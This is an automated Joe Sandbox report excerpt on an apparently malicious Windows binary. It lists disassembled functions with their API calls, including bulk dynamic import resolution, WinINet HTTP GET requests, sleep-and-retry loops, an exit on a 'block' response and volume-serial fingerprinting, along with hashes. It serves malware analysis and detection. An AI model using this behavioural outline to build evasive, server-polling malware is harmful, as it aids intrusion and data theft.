Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 35021d94ae6670de6d0072cd76d4e37a19e15e8c162c8b6560afe1229451376a
Instruction ID: 5a448d23c658373e77c34eb349424558cb154523492d71a329491e973fe496e7
Opcode Fuzzy Hash: 35021d94ae6670de6d0072cd76d4e37a19e15e8c162c8b6560afe1229451376a
Instruction Fuzzy Hash: AFF04FB1E44208EFC724DF98D949FAEBBB8FB04721F10065AFA45A3680C7B955048BA1

Function 00DE1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00DE116A
ExitProcess.KERNEL32 ref: 00DE117E

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 4e6476ff0239fcfebb22316d7bb712edfbcc813534dbbbac58f91699a9ded12f
Instruction ID: 50da218900c40e776c324182e9162bc9c570d019105f0ecda21c70c5030fa801
Opcode Fuzzy Hash: 4e6476ff0239fcfebb22316d7bb712edfbcc813534dbbbac58f91699a9ded12f
Instruction Fuzzy Hash: B9D05E74A0030CDBCB20EFE0DC496EDBBB8FB08311F100554D90663740EA315481CBA9

Function 00DF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01965E08), ref: 00DF9C2D
GetProcAddress.KERNEL32(75900000,01965AC8), ref: 00DF9C45
GetProcAddress.KERNEL32(75900000,01978DD8), ref: 00DF9C5E
GetProcAddress.KERNEL32(75900000,01978DA8), ref: 00DF9C76
GetProcAddress.KERNEL32(75900000,0197C8F0), ref: 00DF9C8E
GetProcAddress.KERNEL32(75900000,0197C800), ref: 00DF9CA7
GetProcAddress.KERNEL32(75900000,0196B280), ref: 00DF9CBF
GetProcAddress.KERNEL32(75900000,0197C6E0), ref: 00DF9CD7
GetProcAddress.KERNEL32(75900000,0197C680), ref: 00DF9CF0
GetProcAddress.KERNEL32(75900000,0197C710), ref: 00DF9D08
GetProcAddress.KERNEL32(75900000,0197C890), ref: 00DF9D20
GetProcAddress.KERNEL32(75900000,01965D68), ref: 00DF9D39
GetProcAddress.KERNEL32(75900000,01965D28), ref: 00DF9D51
GetProcAddress.KERNEL32(75900000,01965DA8), ref: 00DF9D69
GetProcAddress.KERNEL32(75900000,01965AE8), ref: 00DF9D82
GetProcAddress.KERNEL32(75900000,0197C6B0), ref: 00DF9D9A
GetProcAddress.KERNEL32(75900000,0197C6F8), ref: 00DF9DB2
GetProcAddress.KERNEL32(75900000,0196B2D0), ref: 00DF9DCB
GetProcAddress.KERNEL32(75900000,01965DC8), ref: 00DF9DE3
GetProcAddress.KERNEL32(75900000,0197C830), ref: 00DF9DFB
GetProcAddress.KERNEL32(75900000,0197C6C8), ref: 00DF9E14
GetProcAddress.KERNEL32(75900000,0197C908), ref: 00DF9E2C
GetProcAddress.KERNEL32(75900000,0197C770), ref: 00DF9E44
GetProcAddress.KERNEL32(75900000,01965DE8), ref: 00DF9E5D
GetProcAddress.KERNEL32(75900000,0197C848), ref: 00DF9E75
GetProcAddress.KERNEL32(75900000,0197C728), ref: 00DF9E8D
GetProcAddress.KERNEL32(75900000,0197C878), ref: 00DF9EA6
GetProcAddress.KERNEL32(75900000,0197C740), ref: 00DF9EBE
GetProcAddress.KERNEL32(75900000,0197C758), ref: 00DF9ED6
GetProcAddress.KERNEL32(75900000,0197C698), ref: 00DF9EEF
GetProcAddress.KERNEL32(75900000,0197C938), ref: 00DF9F07
GetProcAddress.KERNEL32(75900000,0197C860), ref: 00DF9F1F
GetProcAddress.KERNEL32(75900000,0197C950), ref: 00DF9F38
GetProcAddress.KERNEL32(75900000,01979E68), ref: 00DF9F50
GetProcAddress.KERNEL32(75900000,0197C8A8), ref: 00DF9F68
GetProcAddress.KERNEL32(75900000,0197C788), ref: 00DF9F81
GetProcAddress.KERNEL32(75900000,01965E28), ref: 00DF9F99
GetProcAddress.KERNEL32(75900000,0197C7A0), ref: 00DF9FB1
GetProcAddress.KERNEL32(75900000,01965E48), ref: 00DF9FCA
GetProcAddress.KERNEL32(75900000,0197C7B8), ref: 00DF9FE2
GetProcAddress.KERNEL32(75900000,0197C7D0), ref: 00DF9FFA
GetProcAddress.KERNEL32(75900000,01965968), ref: 00DFA013
GetProcAddress.KERNEL32(75900000,01965728), ref: 00DFA02B
LoadLibraryA.KERNEL32(0197C7E8,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA03D
LoadLibraryA.KERNEL32(0197C818,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA04E
LoadLibraryA.KERNEL32(0197C8C0,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA060
LoadLibraryA.KERNEL32(0197C8D8,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA072
LoadLibraryA.KERNEL32(0197C920,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA083
LoadLibraryA.KERNEL32(0197C668,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA095
LoadLibraryA.KERNEL32(0197CBA8,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA0A7
LoadLibraryA.KERNEL32(0197C9B0,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA0B8
GetProcAddress.KERNEL32(75FD0000,01965948), ref: 00DFA0DA
GetProcAddress.KERNEL32(75FD0000,0197CBD8), ref: 00DFA0F2
GetProcAddress.KERNEL32(75FD0000,01978930), ref: 00DFA10A
GetProcAddress.KERNEL32(75FD0000,0197CC38), ref: 00DFA123
GetProcAddress.KERNEL32(75FD0000,019656E8), ref: 00DFA13B
GetProcAddress.KERNEL32(73430000,0196AE20), ref: 00DFA160
GetProcAddress.KERNEL32(73430000,01965888), ref: 00DFA179
GetProcAddress.KERNEL32(73430000,0196AFD8), ref: 00DFA191
GetProcAddress.KERNEL32(73430000,0197CB90), ref: 00DFA1A9
GetProcAddress.KERNEL32(73430000,0197CAE8), ref: 00DFA1C2
GetProcAddress.KERNEL32(73430000,019657E8), ref: 00DFA1DA
GetProcAddress.KERNEL32(73430000,019658A8), ref: 00DFA1F2
GetProcAddress.KERNEL32(73430000,0197CB48), ref: 00DFA20B
GetProcAddress.KERNEL32(763B0000,01965AA8), ref: 00DFA22C
GetProcAddress.KERNEL32(763B0000,019657C8), ref: 00DFA244
GetProcAddress.KERNEL32(763B0000,0197C9F8), ref: 00DFA25D
GetProcAddress.KERNEL32(763B0000,0197CB30), ref: 00DFA275
GetProcAddress.KERNEL32(763B0000,01965A28), ref: 00DFA28D
GetProcAddress.KERNEL32(750F0000,0196B1E0), ref: 00DFA2B3
GetProcAddress.KERNEL32(750F0000,0196AFB0), ref: 00DFA2CB
GetProcAddress.KERNEL32(750F0000,0197CAA0), ref: 00DFA2E3
GetProcAddress.KERNEL32(750F0000,01965908), ref: 00DFA2FC
GetProcAddress.KERNEL32(750F0000,01965808), ref: 00DFA314
GetProcAddress.KERNEL32(750F0000,0196AE48), ref: 00DFA32C
GetProcAddress.KERNEL32(75A50000,0197CBC0), ref: 00DFA352
GetProcAddress.KERNEL32(75A50000,01965928), ref: 00DFA36A
GetProcAddress.KERNEL32(75A50000,01978960), ref: 00DFA382
GetProcAddress.KERNEL32(75A50000,0197CBF0), ref: 00DFA39B
GetProcAddress.KERNEL32(75A50000,0197CC08), ref: 00DFA3B3
GetProcAddress.KERNEL32(75A50000,01965A48), ref: 00DFA3CB
GetProcAddress.KERNEL32(75A50000,01965A68), ref: 00DFA3E4
GetProcAddress.KERNEL32(75A50000,0197CB60), ref: 00DFA3FC
GetProcAddress.KERNEL32(75A50000,0197CC20), ref: 00DFA414
GetProcAddress.KERNEL32(75070000,01965788), ref: 00DFA436
GetProcAddress.KERNEL32(75070000,0197CB18), ref: 00DFA44E
GetProcAddress.KERNEL32(75070000,0197CA40), ref: 00DFA466
GetProcAddress.KERNEL32(75070000,0197CB78), ref: 00DFA47F
GetProcAddress.KERNEL32(75070000,0197CA58), ref: 00DFA497
GetProcAddress.KERNEL32(74E50000,01965A88), ref: 00DFA4B8
GetProcAddress.KERNEL32(74E50000,019656C8), ref: 00DFA4D1
GetProcAddress.KERNEL32(75320000,01965748), ref: 00DFA4F2
GetProcAddress.KERNEL32(75320000,0197CA10), ref: 00DFA50A
GetProcAddress.KERNEL32(6F060000,01965848), ref: 00DFA530
GetProcAddress.KERNEL32(6F060000,01965708), ref: 00DFA548
GetProcAddress.KERNEL32(6F060000,019658C8), ref: 00DFA560
GetProcAddress.KERNEL32(6F060000,0197CA70), ref: 00DFA579
GetProcAddress.KERNEL32(6F060000,019657A8), ref: 00DFA591
GetProcAddress.KERNEL32(6F060000,01965988), ref: 00DFA5A9
GetProcAddress.KERNEL32(6F060000,01965768), ref: 00DFA5C2
GetProcAddress.KERNEL32(6F060000,01965828), ref: 00DFA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00DFA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00DFA607
GetProcAddress.KERNEL32(74E00000,0197CC50), ref: 00DFA629
GetProcAddress.KERNEL32(74E00000,019789B0), ref: 00DFA641
GetProcAddress.KERNEL32(74E00000,0197C968), ref: 00DFA659
GetProcAddress.KERNEL32(74E00000,0197CA28), ref: 00DFA672
GetProcAddress.KERNEL32(74DF0000,019659A8), ref: 00DFA693
GetProcAddress.KERNEL32(6FAA0000,0197C980), ref: 00DFA6B4
GetProcAddress.KERNEL32(6FAA0000,01965868), ref: 00DFA6CD
GetProcAddress.KERNEL32(6FAA0000,0197C9E0), ref: 00DFA6E5
GetProcAddress.KERNEL32(6FAA0000,0197C998), ref: 00DFA6FD

Strings

HttpQueryInfoA, xrefs: 00DFA5FC
InternetSetOptionA, xrefs: 00DFA5E5

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 8e9e0743910a3d33717a23bdabf3c96daf14cdd263b32ed0241b2c60cccd9770
Instruction ID: 1c1396881dc5a29f1796552c325ceb53f4bb05f02d59090231888332d3f92d02
Opcode Fuzzy Hash: 8e9e0743910a3d33717a23bdabf3c96daf14cdd263b32ed0241b2c60cccd9770
Instruction Fuzzy Hash: 4062EBB5700200EFC774DFA8EA8895637F9F78C601734856AE68AC3A4CDE7F94419B64

Function 00DE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
HttpOpenRequestA.WININET(00000000,GET,?,0197E7B8,00000000,00000000,00400100,00000000), ref: 00DE6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00DE63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00DE646D
InternetCloseHandle.WININET(00000000), ref: 00DE64EF
InternetCloseHandle.WININET(00000000), ref: 00DE64F9
InternetCloseHandle.WININET(00000000), ref: 00DE6503

Strings

ERROR, xrefs: 00DE6407
GET, xrefs: 00DE637C
ERROR, xrefs: 00DE64C9

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5dbca39a9fa2713259220d54424f2716dda93f29b04b5490c9a32137f210105f
Instruction ID: c4e25dc5e626ccaaeef8ee908d7d73391957562af22dd71b523369095b4d0dfc
Opcode Fuzzy Hash: 5dbca39a9fa2713259220d54424f2716dda93f29b04b5490c9a32137f210105f
Instruction Fuzzy Hash: D0715C71A00218EBDB24EFA4CC49BEE7774FB44700F108199F20A6B5C4DBB5AA85CF61

Function 00DF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA820: lstrlen.KERNEL32(00DE4F05,?,?,00DE4F05,00E00DDE), ref: 00DFA82B
Part of subcall function 00DFA820: lstrcpy.KERNEL32(00E00DDE,00000000), ref: 00DFA885

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5857

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DF51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5228

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5318
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF532F
Part of subcall function 00DF52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00DF5364
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF5383
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5A0C
Sleep.KERNEL32(0000EA60), ref: 00DF5A1B

Strings

ERROR, xrefs: 00DF5932
ERROR, xrefs: 00DF5693
ERROR, xrefs: 00DF5636
ERROR, xrefs: 00DF577D
ERROR, xrefs: 00DF5849
ERROR, xrefs: 00DF59FE

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b712b122a781439edc6029e59d3e38e020eb6bc23938944723ff429ef7620f2c
Instruction ID: 79af92956f0381449e2139ff272c78e3fc5ff461b28310a9926fea7baac6b2a0
Opcode Fuzzy Hash: b712b122a781439edc6029e59d3e38e020eb6bc23938944723ff429ef7620f2c
Instruction Fuzzy Hash: 73E152B1A1020C9ACB14FBA4E852EFD7378EF54340F51C118B64A67495EF75AB09CBB2

Function 00DF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00DF17C5
ExitProcess.KERNEL32 ref: 00DF17D1

Strings

block, xrefs: 00DF17B7

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 1f3ae50dd402ea53d8de7ad95aa4cbb9135a3c797a8d13a577d4e856b4bee3cb
Instruction ID: 7f3a76cbdcbfbd7ee6994f8fae8b7fef20b6b699fc5b7e032d56ca3bc2000275
Opcode Fuzzy Hash: 1f3ae50dd402ea53d8de7ad95aa4cbb9135a3c797a8d13a577d4e856b4bee3cb
Instruction Fuzzy Hash: 1A5169B8A0020EEFCB14DFA0D994BBE77B5BF44304F118048E656A7280DBB5E941DBB1

Function 00DF7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00DF7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DF757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7603
RtlAllocateHeap.NTDLL(00000000), ref: 00DF760A
wsprintfA.USER32 ref: 00DF7640

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

, xrefs: 00DF764D, 00DF7655, 00DF761B, 00DF7623
\, xrefs: 00DF7560
:, xrefs: 00DF755C
C, xrefs: 00DF754C

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 7d4365eeb78933c8df5f8a52d880a949324614c7aa3465016a80854f3f623f26
Instruction ID: cdabdd32e80fdc169ca3c38babd1a08124cef8cf971b5f57c8e4d8ff896cfc50
Opcode Fuzzy Hash: 7d4365eeb78933c8df5f8a52d880a949324614c7aa3465016a80854f3f623f26
Instruction Fuzzy Hash: 3A4161B1904248EBDB20DF94DC45BEEB7B4EF08704F144199F609A7284DB79AA44CBB5

Function 00DF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,019706C0), ref: 00DF98A1
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,019704F8), ref: 00DF98BA
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01970420), ref: 00DF98D2
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,019705D0), ref: 00DF98EA
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,019705E8), ref: 00DF9903
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01978970), ref: 00DF991B
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01965C48), ref: 00DF9933
